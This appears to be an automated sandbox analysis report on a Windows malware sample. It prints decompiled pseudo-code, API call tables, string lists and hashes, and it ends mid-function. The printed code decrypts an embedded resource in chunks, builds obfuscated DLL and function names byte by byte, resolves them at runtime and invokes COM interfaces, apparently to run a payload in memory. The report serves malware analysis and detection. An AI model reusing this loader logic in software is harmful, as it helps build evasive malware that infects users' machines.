						_t344 = E00401650(_t557 + 0x18, _t557 + 0x158);
						_t558 = _t557 + 8;
						_t536 = FindResourceA(_t526, _t344, 0xa);
						 *(_t558 + 0x50) = _t536;
						_t551 = LoadResource(_t526, _t536);
						 *((intOrPtr*)(_t558 + 0x44)) = LockResource(_t551);
						_t349 = E0040B84D(0, _t557 + 0x18, _t526, SizeofResource(_t526, _t536)); // executed
						_push(0x40022);
						_t537 = _t349; // executed
						_t350 = E0040AF66(0, _t526, __eflags); // executed
						_t559 = _t558 + 8;
						 *(_t559 + 0x34) = _t350;
						__eflags = _t350;
						if(_t350 == 0) {
							 *(_t559 + 0x50) = 0;
						} else {
							E0040BA30(_t526, _t350, 0, 0x40022);
							_t486 =  *(_t559 + 0x40);
							_t559 = _t559 + 0xc;
							 *(_t559 + 0x50) = _t486;
						}
						E00401300( *(_t559 + 0x50));
						_t497 =  *(_t559 + 0x48);
						_t352 = SizeofResource(_t526, _t497);
						 *(_t559 + 0x40) = _t352;
						asm("cdq");
						_t354 = _t352 + (_t497 & 0x000003ff) >> 0xa;
						__eflags = _t354;
						if(_t354 > 0) {
							_t519 =  *(_t559 + 0x3c);
							_t482 = _t537 - _t519;
							__eflags = _t482;
							 *(_t559 + 0x34) = _t519;
							 *(_t559 + 0x88) = _t482;
							 *(_t559 + 0x38) = _t354;
							do {
								_t424 =  *(_t559 + 0x34);
								_push( *(_t559 + 0x88) + _t424);
								_push(0x400);
								_push(_t424);
								E00401560(0,  *((intOrPtr*)(_t559 + 0x54)));
								 *(_t559 + 0x34) =  *(_t559 + 0x34) + 0x400;
								_t179 = _t559 + 0x38;
								 *_t179 =  *(_t559 + 0x38) - 1;
								__eflags =  *_t179;
							} while ( *_t179 != 0);
						}
						_t448 =  *(_t559 + 0x40) & 0x800003ff;
						__eflags = _t448;
						if(_t448 < 0) {
							_t448 = (_t448 - 0x00000001 | 0xfffffc00) + 1;
							__eflags = _t448;
						}
						__eflags = _t448;
						if(_t448 > 0) {
							_t421 =  *(_t559 + 0x40) - _t448;
							_push(_t421 + _t537);
							_push(_t448);
							_t422 = _t421 +  *((intOrPtr*)(_t559 + 0x44));
							__eflags = _t422;
							_push(_t422);
							E00401560(0,  *((intOrPtr*)(_t559 + 0x58)));
						}
						E0040BA30(_t526,  *(_t559 + 0x3c), 0,  *(_t559 + 0x40));
						_t560 = _t559 + 0xc;
						FreeResource(_t551);
						_t552 =  *_t537;
						 *((intOrPtr*)(_t560 + 0x94)) = _t552;
						_t358 = E0040B84D(0,  *(_t559 + 0x40), _t526, _t552); // executed
						_t561 = _t560 + 4;
						 *((intOrPtr*)(_t561 + 0x40)) = _t358;
						_t359 = SizeofResource(_t526,  *(_t560 + 0x4c));
						_t527 =  *((intOrPtr*)(_t561 + 0x38));
						_t192 = _t537 + 4; // 0x4
						E0040AC60(_t527, _t561 + 0x98, _t192, _t359);
						E0040BA30(_t527, _t537, 0,  *((intOrPtr*)(_t561 + 0x50)));
						_t528 = _t527 + 0xe;
						 *((char*)(_t561 + 0x34)) = 0xce;
						 *((char*)(_t561 + 0x35)) = 0x27;
						 *((char*)(_t561 + 0x36)) = 0x9c;
						 *((char*)(_t561 + 0x37)) = 0x1a;
						 *((char*)(_t561 + 0x38)) = 0x95;
						 *((char*)(_t561 + 0x39)) = 0x21;
						 *((char*)(_t561 + 0x3a)) = 0x2e;
						 *((char*)(_t561 + 0x3b)) = 0xd;
						 *((char*)(_t561 + 0x3c)) = 0xdb;
						 *((char*)(_t561 + 0x3d)) = 0x29;
						 *((char*)(_t561 + 0x3e)) = 0x57;
						 *((char*)(_t561 + 0x3f)) = 0x56;
						 *((char*)(_t561 + 0x40)) = 0xf8;
						 *((char*)(_t561 + 0x41)) = 0x98;
						 *((char*)(_t561 + 0x42)) = 0x5b;
						 *((char*)(_t561 + 0x43)) = 0xf4;
						 *((char*)(_t561 + 0x44)) = 0xb5;
						 *((char*)(_t561 + 0x45)) = 0x87;
						 *((char*)(_t561 + 0x46)) = 0x7b;
						 *((char*)(_t561 + 0x47)) = 0xf;
						 *((char*)(_t561 + 0x48)) = 0xf4;
						 *((char*)(_t561 + 0x49)) = 0x76;
						 *((char*)(_t561 + 0x4a)) = 0xb9;
						 *((char*)(_t561 + 0x4b)) = 0x34;
						 *((char*)(_t561 + 0x4c)) = 0xbf;
						 *((char*)(_t561 + 0x4d)) = 0x1e;
						 *((char*)(_t561 + 0x4e)) = 0xe7;
						 *((char*)(_t561 + 0x4f)) = 0x78;
						 *((char*)(_t561 + 0x50)) = 0x98;
						 *((char*)(_t561 + 0x51)) = 0xe9;
						 *((char*)(_t561 + 0x52)) = 0x6f;
						 *((char*)(_t561 + 0x53)) = 0xb4;
						 *((char*)(_t561 + 0x54)) = 0;
						_t364 = E00401650(_t561 + 0x30, _t561 + 0x110);
						_t562 = _t561 + 0x24;
						_t365 = LoadLibraryA(_t364); // executed
						_t538 = _t365;
						 *((char*)(_t562 + 0x10)) = 0xe0;
						 *((char*)(_t562 + 0x11)) = 0x18;
						 *((char*)(_t562 + 0x12)) = 0xad;
						 *((char*)(_t562 + 0x13)) = 0x36;
						 *((char*)(_t562 + 0x14)) = 0x95;
						 *((char*)(_t562 + 0x15)) = 0x21;
						_t451 = _t562 + 0x134;
						 *((char*)(_t562 + 0x1e)) = 0x2a;
						 *((char*)(_t562 + 0x1f)) = 0x57;
						 *((char*)(_t562 + 0x20)) = 0xda;
						 *((char*)(_t562 + 0x21)) = 0xc;
						 *((char*)(_t562 + 0x22)) = 0x55;
						 *((char*)(_t562 + 0x23)) = 0x25;
						 *((char*)(_t562 + 0x24)) = 0x8c;
						 *((char*)(_t562 + 0x25)) = 0xf9;
						 *((char*)(_t562 + 0x26)) = 0x35;
						 *((char*)(_t562 + 0x27)) = 0x97;
						 *((char*)(_t562 + 0x28)) = 0xd0;
						 *((char*)(_t562 + 0x29)) = 0x87;
						 *((char*)(_t562 + 0x2a)) = 0x7b;
						 *((char*)(_t562 + 0x2b)) = 0xf;
						 *((char*)(_t562 + 0x2c)) = 0xf4;
						 *((char*)(_t562 + 0x2d)) = 0x76;
						 *((char*)(_t562 + 0x2e)) = 0xb9;
						 *((char*)(_t562 + 0x2f)) = 0x34;
						 *((char*)(_t562 + 0x30)) = 0xbf;
						 *((char*)(_t562 + 0x31)) = 0x1e;
						 *((char*)(_t562 + 0x32)) = 0xe7;
						 *((char*)(_t562 + 0x33)) = 0x78;
						 *((char*)(_t562 + 0x34)) = 0x98;
						 *((char*)(_t562 + 0x35)) = 0xe9;
						 *((char*)(_t562 + 0x36)) = 0x6f;
						 *((char*)(_t562 + 0x37)) = 0xb4;
						 *((char*)(_t562 + 0x38)) = 0;
						_t366 = E00401650(_t562 + 0x14, _t451);
						_t563 = _t562 + 8;
						_t367 = GetProcAddress(_t365, _t366);
						__eflags = _t367;
						_t452 = _t451 & 0xffffff00 | _t367 != 0x00000000;
						__eflags = _t452;
						 *(_t563 + 0x47) = _t452 == 0;
						 *0x423480 = _t367;
						 *((intOrPtr*)(_t563 + 0x80)) = 0;
						 *((intOrPtr*)(_t563 + 0x84)) = 0;
						 *((intOrPtr*)(_t563 + 0x4c)) = 0;
						 *(_t563 + 0x58) = 0;
						 *(_t563 + 0x54) = 0;
						__eflags = _t452;
						if(_t452 != 0) {
							_t368 =  *_t367(0x41b230, 0x41b220, _t563 + 0x80); // executed
							__eflags = _t368;
							if(_t368 >= 0) {
								__eflags =  *(_t563 + 0x47);
								if( *(_t563 + 0x47) == 0) {
									 *((intOrPtr*)(_t563 + 0x17c)) = _t563 + 0x17c;
									E004018F0( *((intOrPtr*)(_t563 + 0x38)), _t563 + 0x17c, _t563 + 0x17c,  *((intOrPtr*)(_t563 + 0x38)), 3);
									_t376 =  *((intOrPtr*)(_t563 + 0x80));
									_t378 =  *((intOrPtr*)( *((intOrPtr*)( *_t376 + 0xc))))(_t376,  *((intOrPtr*)(_t563 + 0x178)), 0x41b240, _t563 + 0x84); // executed
									__eflags = _t378;
									if(_t378 >= 0) {
										_t381 =  *((intOrPtr*)(_t563 + 0x84));
										_t383 =  *((intOrPtr*)( *((intOrPtr*)( *_t381 + 0x24))))(_t381, 0x41b210, 0x41b290, _t563 + 0x4c); // executed
										__eflags = _t383;
										if(_t383 >= 0) {
											_t384 =  *((intOrPtr*)(_t563 + 0x4c));
											_t385 =  *((intOrPtr*)( *((intOrPtr*)( *_t384 + 0x28))))(_t384); // executed
											__eflags = _t385;
											if(_t385 >= 0) {
												 *((intOrPtr*)(_t563 + 0x38)) = 0;
												E00401870(_t563 + 0x44, _t552, "_._");
												_t539 = __imp__#8;
												 *((intOrPtr*)(_t563 + 0x40)) = 0;
												 *_t539(_t563 + 0x94);
												E00401870(_t563 + 0x3c, _t552, "___");
												 *_t539(_t563 + 0xa4);
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t563 + 0x4c)))) + 0x34))))( *((intOrPtr*)(_t563 + 0x50)), E004018D0(_t563 + 0x58)); // executed
												_t542 =  *(_t563 + 0x58);
												__eflags = _t542;
												if(_t542 == 0) {
													E0040AD90(0x80004003);
												}
												_t396 =  *((intOrPtr*)( *((intOrPtr*)( *_t542))))(_t542, 0x41b270, E004018D0(_t563 + 0x54));
												 *((intOrPtr*)(_t563 + 0x94)) = _t552 + 0xfffffff2;
												 *((intOrPtr*)(_t563 + 0x98)) = 0;
												__imp__#15(0x11, 1, _t563 + 0x88); // executed
												_t543 = _t396;
												 *((intOrPtr*)(_t563 + 0x50)) = 0;
												__imp__#23(_t543, _t563 + 0x48);
												E0040B350(0, _t528, _t543,  *((intOrPtr*)(_t563 + 0x48)), _t528, _t552 + 0xfffffff2);
												_t564 = _t563 + 0xc;
												__imp__#24(_t543);
												_t399 =  *(_t564 + 0x54);
												__eflags = _t399;
												if(_t399 == 0) {
													_t399 = E0040AD90(0x80004003);
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t399 + 0xb4))))(_t399, _t543, E004018D0(_t564 + 0x34)); // executed
												__eflags = _t543;
												if(_t543 != 0) {
													__imp__#16(_t543); // executed
												}
												_t402 =  *(_t564 + 0x34);
												__eflags = _t402;
												if(_t402 == 0) {
													_t402 = E0040AD90(0x80004003);
												}
												_t469 =  *(_t564 + 0x40);
												_t555 = _t402;
												__eflags = _t469;
												if(_t469 == 0) {
													_t531 = 0;
													__eflags = 0;
												} else {
													_t531 =  *_t469;
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t402 + 0x44))))(_t555, _t531, E004018D0(_t564 + 0x3c)); // executed
												__imp__#411(0xc, 0, 0);
												_t471 =  *(_t564 + 0x3c);
												__eflags = _t471;
												if(_t471 == 0) {
													E0040AD90(0x80004003);
												}
												_t405 =  *(_t564 + 0x38);
												__eflags = _t405;
												if(_t405 == 0) {
													_t514 = 0;
													__eflags = 0;
												} else {
													_t514 =  *_t405;
												}
												_t563 = _t564 - 0x10;
												_t407 = _t563;
												 *_t407 =  *((intOrPtr*)(_t564 + 0x94));
												 *((intOrPtr*)(_t407 + 4)) =  *((intOrPtr*)(_t563 + 0xb0));
												 *((intOrPtr*)(_t407 + 8)) =  *((intOrPtr*)(_t563 + 0xb8));
												_t528 =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)(_t407 + 0xc)) =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)( *((intOrPtr*)( *_t471 + 0xe4))))(_t471, _t514, 0x118, 0, 0, _t564 + 0xa4);
												_t538 = __imp__#9; // 0x7414cf00
												_t538->i(_t563 + 0xa4);
												E004019A0(_t563 + 0x38);
												_t538->i(_t563 + 0x94);
												_t413 =  *(_t563 + 0x3c);
												__eflags = _t413;
												if(_t413 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t413 + 8))))(_t413);
												}
												E004019A0(_t563 + 0x40);
												_t415 =  *(_t563 + 0x34);
												__eflags = _t415;
												if(_t415 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t415 + 8))))(_t415);
												}
											}
										}
									}
									_t379 =  *((intOrPtr*)(_t563 + 0x174));
									__eflags = _t379 - _t563 + 0x178;
									if(__eflags != 0) {
										_push(_t379);
										E0040B6B5(0, _t528, _t538, __eflags);
										_t563 = _t563 + 4;
									}
								}
							}
							_t369 =  *(_t563 + 0x54);
							__eflags = _t369;
							if(_t369 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t369 + 8))))(_t369);
							}
							_t370 =  *(_t563 + 0x58);
							__eflags = _t370;
							if(_t370 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t370 + 8))))(_t370);
							}
						}
						goto L80;
					} else {
						_t428 = E00401650(_t557 + 0x60, _t557 + 0xd4);
						_t565 = _t557 + 8;
						_t547 = _t428;
						_t520 = _t565 + 0x298;
						while(1) {
							_t429 =  *_t520;
							if(_t429 !=  *_t547) {
								break;
							}
							if(_t429 == 0) {
								L7:
								_t429 = 0;
							} else {
								_t493 =  *((intOrPtr*)(_t520 + 1));
								if(_t493 !=  *((intOrPtr*)(_t547 + 1))) {
									break;
								} else {
									_t520 = _t520 + 2;
									_t547 = _t547 + 2;
									if(_t493 != 0) {
										continue;
									} else {
										goto L7;
									}
								}
							}
							L9:
							if(_t429 != 0) {
								_t431 = E00401650(_t565 + 0x14, _t565 + 0xb4);
								_t557 = _t565 + 8;
								_t548 = _t431;
								_t488 = _t557 + 0x298;
								while(1) {
									_t432 =  *_t488;
									__eflags = _t432 -  *_t548;
									if(_t432 !=  *_t548) {
										break;
									}
									__eflags = _t432;
									if(_t432 == 0) {
										L16:
										_t432 = 0;
									} else {
										_t432 =  *((intOrPtr*)(_t488 + 1));
										__eflags = _t432 -  *((intOrPtr*)(_t548 + 1));
										if(_t432 !=  *((intOrPtr*)(_t548 + 1))) {
											break;
										} else {
											_t488 = _t488 + 2;
											_t548 = _t548 + 2;
											__eflags = _t432;
											if(_t432 != 0) {
												continue;
											} else {
												goto L16;
											}
										}
									}
									L18:
									__eflags = _t432;
									if(_t432 == 0) {
										goto L10;
									} else {
										_t435 = Module32Next(_t525, _t557 + 0x278);
										__eflags = _t435;
										if(_t435 != 0) {
											do {
												_t437 = E00401650(_t557 + 0x60, _t557 + 0xd4);
												_t566 = _t557 + 8;
												_t549 = _t437;
												_t490 = _t566 + 0x298;
												while(1) {
													_t438 =  *_t490;
													__eflags = _t438 -  *_t549;
													if(_t438 !=  *_t549) {
														break;
													}
													__eflags = _t438;
													if(_t438 == 0) {
														L26:
														_t438 = 0;
													} else {
														_t438 =  *((intOrPtr*)(_t490 + 1));
														__eflags = _t438 -  *((intOrPtr*)(_t549 + 1));
														if(_t438 !=  *((intOrPtr*)(_t549 + 1))) {
															break;
														} else {
															_t490 = _t490 + 2;
															_t549 = _t549 + 2;
															__eflags = _t438;
															if(_t438 != 0) {
																continue;
															} else {
																goto L26;
															}
														}
													}
													L28:
													__eflags = _t438;
													if(_t438 == 0) {
														goto L10;
													} else {
														_t439 = E00401650(_t566 + 0x14, _t566 + 0xb4);
														_t557 = _t566 + 8;
														_t550 = _t439;
														_t492 = _t557 + 0x298;
														while(1) {
															_t440 =  *_t492;
															__eflags = _t440 -  *_t550;
															if(_t440 !=  *_t550) {
																break;
															}
															__eflags = _t440;
															if(_t440 == 0) {
																L34:
																_t440 = 0;
															} else {
																_t440 =  *((intOrPtr*)(_t492 + 1));
																__eflags = _t440 -  *((intOrPtr*)(_t550 + 1));
																if(_t440 !=  *((intOrPtr*)(_t550 + 1))) {
																	break;
																} else {
																	_t492 = _t492 + 2;
																	_t550 = _t550 + 2;
																	__eflags = _t440;
																	if(_t440 != 0) {
																		continue;
																	} else {
																		goto L34;
																	}
																}
															}
															L36:
															__eflags = _t440;
															if(_t440 == 0) {
																goto L10;
															} else {
																goto L37;
															}
															goto L81;
														}
														asm("sbb eax, eax");
														asm("sbb eax, 0xffffffff");
														goto L36;
													}
													goto L81;
												}
												asm("sbb eax, eax");
												asm("sbb eax, 0xffffffff");
												goto L28;
												L37:
												_t442 = Module32Next(_t525, _t557 + 0x278);
												__eflags = _t442;
											} while (_t442 != 0);
										}
										goto L38;
									}
									goto L81;
								}
								asm("sbb eax, eax");
								asm("sbb eax, 0xffffffff");
								goto L18;
							} else {
								L10:
								CloseHandle(_t525);
								return 0;
							}
							goto L81;
						}
						asm("sbb eax, eax");
						asm("sbb eax, 0xffffffff");
						goto L9;
					}
				}
				L81:
			}

0x004019f0
0x004019f0
0x004019fd
0x00401a10
0x00401a15
0x00401a1a
0x00401a1f
0x00401a24
0x00401a29
0x00401a2e
0x00401a33
0x00401a38
0x00401a3d
0x00401a42
0x00401a47
0x00401a4c
0x00401a51
0x00401a56
0x00401a5b
0x00401a60
0x00401a65
0x00401a6a
0x00401a6f
0x00401a74
0x00401a79
0x00401a7e
0x00401a83
0x00401a88
0x00401a8d
0x00401a92
0x00401a97
0x00401a9c
0x00401aa1
0x00401aa6
0x00401aab
0x00401ab0
0x00401ab9
0x00401aba
0x00401abf
0x00401ac7
0x0040248d
0x0040248d
0x00402496
0x00401acd
0x00401ad6
0x00401ae2
0x00401ae6
0x00401af1
0x00401af6
0x00401afb
0x00401b00
0x00401b05
0x00401b0a
0x00401b0f
0x00401b14
0x00401b19
0x00401b1e
0x00401b23
0x00401b28
0x00401b2d
0x00401b32
0x00401b37
0x00401b3c
0x00401b41
0x00401b46
0x00401b4b
0x00401b50
0x00401b55
0x00401b5a
0x00401b5f
0x00401b64
0x00401b69
0x00401b6e
0x00401b73
0x00401b78
0x00401b7d
0x00401b85
0x00401b8d
0x00401b95
0x00401b9d
0x00401ba4
0x00401ba9
0x00401bae
0x00401bb3
0x00401bb8
0x00401bbd
0x00401bc2
0x00401bc7
0x00401bcc
0x00401bd1
0x00401bd6
0x00401bdb
0x00401be0
0x00401be5
0x00401bea
0x00401bef
0x00401bf4
0x00401bf9
0x00401bfe
0x00401c03
0x00401c08
0x00401c0d
0x00401c12
0x00401c17
0x00401c1c
0x00401c21
0x00401c26
0x00401c2b
0x00401c30
0x00401c35
0x00401c3a
0x00401c3f
0x00401c44
0x00401c48
0x00401c4f
0x00401dc3
0x00401dc4
0x00401de0
0x00401de2
0x00401de7
0x00401dec
0x00401df1
0x00401df6
0x00401dfb
0x00401e00
0x00401e05
0x00401e0a
0x00401e0f
0x00401e14
0x00401e19
0x00401e1e
0x00401e23
0x00401e28
0x00401e2d
0x00401e32
0x00401e37
0x00401e3c
0x00401e41
0x00401e46
0x00401e4b
0x00401e50
0x00401e55
0x00401e5a
0x00401e5f
0x00401e64
0x00401e69
0x00401e6e
0x00401e73
0x00401e78
0x00401e7d
0x00401e82
0x00401e86
0x00401e8b
0x00401e96
0x00401e9a
0x00401ea4
0x00401eaf
0x00401eba
0x00401ebf
0x00401ec4
0x00401ec6
0x00401ecb
0x00401ece
0x00401ed2
0x00401ed4
0x00401eef
0x00401ed6
0x00401edd
0x00401ee2
0x00401ee6
0x00401ee9
0x00401ee9
0x00401ef7
0x00401efc
0x00401f02
0x00401f08
0x00401f0c
0x00401f15
0x00401f18
0x00401f1a
0x00401f1c
0x00401f22
0x00401f22
0x00401f24
0x00401f28
0x00401f2f
0x00401f33
0x00401f33
0x00401f40
0x00401f45
0x00401f4a
0x00401f4b
0x00401f50
0x00401f58
0x00401f58
0x00401f58
0x00401f58
0x00401f33
0x00401f63
0x00401f63
0x00401f69
0x00401f72
0x00401f72
0x00401f72
0x00401f73
0x00401f75
0x00401f7b
0x00401f80
0x00401f81
0x00401f86
0x00401f86
0x00401f8c
0x00401f8d
0x00401f8d
0x00401f9d
0x00401fa2
0x00401fa6
0x00401fac
0x00401faf
0x00401fb6
0x00401fbf
0x00401fc4
0x00401fc8
0x00401fce
0x00401fd3
0x00401fe0
0x00401fec
0x00401ffe
0x00402001
0x00402006
0x0040200b
0x00402010
0x00402015
0x0040201a
0x0040201f
0x00402024
0x00402029
0x0040202e
0x00402033
0x00402038
0x0040203d
0x00402042
0x00402047
0x0040204c
0x00402051
0x00402056
0x0040205b
0x00402060
0x00402065
0x0040206a
0x0040206f
0x00402074
0x00402079
0x0040207e
0x00402083
0x00402088
0x0040208d
0x00402092
0x00402097
0x0040209c
0x004020a1
0x004020a5
0x004020aa
0x004020ae
0x004020b4
0x004020b6
0x004020bb
0x004020c0
0x004020c5
0x004020ca
0x004020cf
0x004020d4
0x004020e1
0x004020e6
0x004020eb
0x004020f0
0x004020f5
0x004020fa
0x004020ff
0x00402104
0x00402109
0x0040210e
0x00402113
0x00402118
0x0040211d
0x00402122
0x00402127
0x0040212c
0x00402131
0x00402136
0x0040213b
0x00402140
0x00402145
0x0040214a
0x0040214f
0x00402154
0x00402159
0x0040215e
0x00402163
0x00402167
0x0040216c
0x00402171
0x00402177
0x00402179
0x0040217c
0x0040217e
0x00402183
0x00402188
0x0040218f
0x00402196
0x0040219a
0x0040219e
0x004021a2
0x004021a4
0x004021bc
0x004021be
0x004021c0
0x004021c6
0x004021ca
0x004021e5
0x004021ec
0x004021f1
0x00402213
0x00402215
0x00402217
0x0040221d
0x00402239
0x0040223b
0x0040223d
0x00402243
0x0040224d
0x0040224f
0x00402251
0x00402260
0x00402264
0x00402269
0x00402277
0x0040227b
0x00402286
0x00402293
0x004022af
0x004022b1
0x004022b5
0x004022b7
0x004022be
0x004022be
0x004022d7
0x004022e8
0x004022ef
0x004022f6
0x00402300
0x00402304
0x00402308
0x00402315
0x0040231a
0x0040231e
0x00402324
0x00402328
0x0040232a
0x00402331
0x00402331
0x0040234e
0x00402350
0x00402352
0x00402355
0x00402355
0x0040235b
0x0040235f
0x00402361
0x00402368
0x00402368
0x0040236d
0x00402371
0x00402373
0x00402375
0x0040237b
0x0040237b
0x00402377
0x00402377
0x00402377
0x00402390
0x00402396
0x0040239c
0x004023a0
0x004023a2
0x004023a9
0x004023a9
0x004023ae
0x004023b2
0x004023b4
0x004023ba
0x004023ba
0x004023b6
0x004023b6
0x004023b6
0x004023ce
0x004023d1
0x004023d3
0x004023dd
0x004023ec
0x004023ef
0x004023fe
0x00402401
0x00402403
0x00402411
0x00402417
0x00402424
0x00402426
0x0040242a
0x0040242c
0x00402434
0x00402434
0x0040243a
0x0040243f
0x00402443
0x00402445
0x0040244d
0x0040244d
0x00402445
0x00402251
0x0040223d
0x0040244f
0x0040245d
0x0040245f
0x00402461
0x00402462
0x00402467
0x00402467
0x0040245f
0x004021ca
0x0040246a
0x0040246e
0x00402470
0x00402478
0x00402478
0x0040247a
0x0040247e
0x00402480
0x00402488
0x00402488
0x00402480
0x00000000
0x00401c55
0x00401c62
0x00401c67
0x00401c6a
0x00401c6c
0x00401c73
0x00401c73
0x00401c77
0x00000000
0x00000000
0x00401c7b
0x00401c8f
0x00401c8f
0x00401c7d
0x00401c7d
0x00401c83
0x00000000
0x00401c85
0x00401c85
0x00401c88
0x00401c8d
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c8d
0x00401c83
0x00401c98
0x00401c9a
0x00401cbd
0x00401cc2
0x00401cc5
0x00401cc7
0x00401cd0
0x00401cd0
0x00401cd2
0x00401cd4
0x00000000
0x00000000
0x00401cd6
0x00401cd8
0x00401cec
0x00401cec
0x00401cda
0x00401cda
0x00401cdd
0x00401ce0
0x00000000
0x00401ce2
0x00401ce2
0x00401ce5
0x00401ce8
0x00401cea
0x00000000
0x00000000
0x00000000
0x00000000
0x00401cea
0x00401ce0
0x00401cf5
0x00401cf5
0x00401cf7
0x00000000
0x00401cf9
0x00401d02
0x00401d07
0x00401d09
0x00401d10
0x00401d1d
0x00401d22
0x00401d25
0x00401d27
0x00401d30
0x00401d30
0x00401d32
0x00401d34
0x00000000
0x00000000
0x00401d36
0x00401d38
0x00401d4c
0x00401d4c
0x00401d3a
0x00401d3a
0x00401d3d
0x00401d40
0x00000000
0x00401d42
0x00401d42
0x00401d45
0x00401d48
0x00401d4a
0x00000000
0x00000000
0x00000000
0x00000000
0x00401d4a
0x00401d40
0x00401d55
0x00401d55
0x00401d57
0x00000000
0x00401d5d
0x00401d6a
0x00401d6f
0x00401d72
0x00401d74
0x00401d80
0x00401d80
0x00401d82
0x00401d84
0x00000000
0x00000000
0x00401d86
0x00401d88
0x00401d9c
0x00401d9c
0x00401d8a
0x00401d8a
0x00401d8d
0x00401d90
0x00000000
0x00401d92
0x00401d92
0x00401d95
0x00401d98
0x00401d9a
0x00000000
0x00000000
0x00000000
0x00000000
0x00401d9a
0x00401d90
0x00401da5
0x00401da5
0x00401da7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00401da7
0x00401da0
0x00401da2
0x00000000
0x00401da2
0x00000000
0x00401d57
0x00401d50
0x00401d52
0x00000000
0x00401dad
0x00401db6
0x00401dbb
0x00401dbb
0x00401d10
0x00000000
0x00401d09
0x00000000
0x00401cf7
0x00401cf0
0x00401cf2
0x00000000
0x00401c9c
0x00401c9c
0x00401c9d
0x00401caf
0x00401caf
0x00000000
0x00401c9a
0x00401c93
0x00401c95
0x00000000
0x00401c95
0x00401c4f
0x00000000

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000000,?), ref: 00401C9D
Module32Next.KERNEL32 ref: 00401D02
Module32Next.KERNEL32 ref: 00401DB6
FindCloseChangeNotification.KERNEL32(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000000), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

[, xrefs: 00401B37
", xrefs: 00401B0F
x, xrefs: 00402088
h, xrefs: 00401A6F
{, xrefs: 00401E3C
D, xrefs: 00401DFB
x, xrefs: 00401E69
!, xrefs: 004020CF
*, xrefs: 00401A1F
0, xrefs: 00401BBD
', xrefs: 00401AF6
U, xrefs: 004020F5
{, xrefs: 0040211D
x, xrefs: 0040214A
!, xrefs: 00401B1E
!, xrefs: 0040201A
x, xrefs: 00401B78
V, xrefs: 00401E19
5, xrefs: 00402109
{, xrefs: 00401B4B
6, xrefs: 004020C5
v, xrefs: 00401B5A
o, xrefs: 00402159
W, xrefs: 00402033
E, xrefs: 00401E0F
v, xrefs: 0040206A
W, xrefs: 00401B23
_._, xrefs: 00402257
v, xrefs: 0040212C
8, xrefs: 00401BA9
), xrefs: 0040202E
W, xrefs: 004020E6
V, xrefs: 00402038
W, xrefs: 00401B14
___, xrefs: 0040227D
4, xrefs: 00402074
*, xrefs: 004020E1
:, xrefs: 00401B28
%, xrefs: 004020FA
o, xrefs: 00402097
., xrefs: 0040201F
v, xrefs: 00401E4B
4, xrefs: 00401B64
{, xrefs: 0040205B
., xrefs: 00401B0A
4, xrefs: 00402136
o, xrefs: 00401B8D
[, xrefs: 00402047
', xrefs: 00402006

Memory Dump Source

Source File: 00000014.00000002.455374611.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.455638969.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000014.00000002.455656768.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Resource$Module32$CloseFindHandleNextSizeof$ChangeCreateCurrentFirstInitializeLoadLockModuleNotificationProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 2366190142-2962942730
Opcode ID: 9b8e818dc389e7faa11c559f92d128544e607fef32914ff1a283466d1b654c82
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: 9b8e818dc389e7faa11c559f92d128544e607fef32914ff1a283466d1b654c82
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Uniqueness

Uniqueness Score: -1.00%

Function 0400003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0400024D

Strings

cess, xrefs: 0400018D
kernel32.dll, xrefs: 0400008F, 04000095

Memory Dump Source

Source File: 00000014.00000002.459093242.0000000004000000.00000040.00000001.sdmp, Offset: 04000000, based on PE: false

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: f0176205a6b0d5e75b02a1594b87913cff2b59b70d7ef6229f8bd47a65cfa25e
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 5B526B74A01229DFEB64CF58D984BACBBB1BF09304F1480D9E54DAB391DB30AA85DF15

Uniqueness

Uniqueness Score: -1.00%

Function 004018F0, Relevance: 6.3, APIs: 5, Instructions: 77
stringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E004018F0(void* __eax, char** __ecx, void* __edx, char* _a4, int _a8) {
				void* __ebx;
				void* __ebp;
				signed int _t12;
				void* _t21;
				int _t25;
				void* _t30;
